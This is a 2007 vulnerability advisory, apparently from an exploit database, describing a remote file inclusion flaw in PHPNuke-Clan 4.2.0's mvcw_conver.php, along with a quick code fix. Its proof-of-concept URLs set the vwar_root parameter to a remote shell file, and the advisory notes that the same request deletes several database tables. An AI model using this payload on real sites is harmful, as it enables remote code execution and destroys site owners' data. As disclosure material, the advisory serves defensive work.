PHPNuke-Clan <= 4.2.0 (mvcw_conver.php) RFI Vulnerability

🗓️ 29 Aug 2007 00:00:00Reported by RootType

PHPNuke-Clan v4.2.0 RFI Vulnerability in mvcw_conver.ph


                                                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\#'#/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(-.-)
&nbsp;&nbsp;&nbsp;--------------------------oOO---(_)---OOo-------------------------
&nbsp;&nbsp;&nbsp;|&nbsp;PHPNuke-Clan&nbsp;&lt;=&nbsp;v4.2.0&nbsp;(mvcw_conver.php)&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;|
&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;coded&nbsp;by&nbsp;DNX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
&nbsp;&nbsp;&nbsp;------------------------------------------------------------------
[!]&nbsp;Discovered:&nbsp;DNX
[!]&nbsp;Vendor:&nbsp;http://www.phpnuke-clan.net
[!]&nbsp;Detected:&nbsp;11.08.2007
[!]&nbsp;Reported:&nbsp;11.08.2007
[!]&nbsp;Remote:&nbsp;yes

[!]&nbsp;Background:&nbsp;PHPNuke-Clan&nbsp;is&nbsp;a&nbsp;clan&nbsp;management&nbsp;system&nbsp;based&nbsp;on&nbsp;PHP&nbsp;and&nbsp;MySQL

[!]&nbsp;Bug:&nbsp;$vwar_root&nbsp;in&nbsp;modules/vwar/convert/mvcw_conver.php

[!]&nbsp;PoC:
&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;http://[site]/[path]/modules/vwar/convert/mvcw_conver.php?step=1&amp;vwar_root=[shell]

[!]&nbsp;Example:
&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;http://127.0.0.1/pnc/modules/vwar/convert/mvcw_conver.php?step=1&amp;vwar_root=http//127.0.0.1/shell.txt?

[!]&nbsp;Warning:&nbsp;&quot;step=1&quot;&nbsp;deletes&nbsp;all&nbsp;data&nbsp;from&nbsp;the&nbsp;tables&nbsp;vwar,&nbsp;vwar_opponents,
&nbsp;&nbsp;&nbsp;&nbsp;vwar_scores&nbsp;and&nbsp;vwar_screen&nbsp;in&nbsp;the&nbsp;database

[!]&nbsp;Solution:&nbsp;No&nbsp;update&nbsp;from&nbsp;vendor&nbsp;till&nbsp;now

[!]&nbsp;Quick&nbsp;fix&nbsp;in&nbsp;modules/vwar/convert/mvcw_conver.php&nbsp;line&nbsp;79:
&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;replace:
	if&nbsp;($GPC['step']&nbsp;==&nbsp;1)
	{
		//&nbsp;clean&nbsp;tables

&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;with:
	if&nbsp;($GPC['step']&nbsp;==&nbsp;1)
	{
		$vwar_root&nbsp;=&nbsp;&quot;./../&quot;;
		//&nbsp;clean&nbsp;tables

29 Aug 2007 00:00Current

7.1High risk

Vulners AI Score7.1

PHPNuke-Clan &lt;= 4.2.0 (mvcw_conver.php) RFI Vulnerability

PHPNuke-Clan <= 4.2.0 (mvcw_conver.php) RFI Vulnerability